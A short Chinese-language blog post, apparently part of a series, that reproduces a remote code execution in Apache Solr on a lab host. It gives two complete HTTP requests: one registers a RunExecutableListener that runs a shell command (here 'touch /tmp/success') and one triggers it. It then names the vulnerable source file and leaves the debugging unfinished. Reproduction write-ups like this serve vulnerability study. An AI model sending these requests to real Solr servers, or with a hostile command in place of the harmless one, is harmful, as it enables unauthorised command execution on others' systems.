Apache Solr - XXE & RCE (2)
0x01 前言
部署那一块请看上一篇文章
https://www.cnblogs.com/0x28/p/12585472.html
0x02 复现
在创建了一个collection为test的基础上调用该collection的config
POST /solr/test/config HTTP/1.1
Host: 192.168.52.129:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 162
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
触发
POST /solr/test/update HTTP/1.1
Host: 192.168.52.129:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 19
[{"id":"test"}]
0x03 调试
漏洞位置在于
solr/core/src/java/org/apache/solr/core/RunExecutableListener.java
目前只能跟大部分文章一样跟到这个漏洞点。。。这个调用链实在是太复杂了 😦
先挖个坑,后边再补。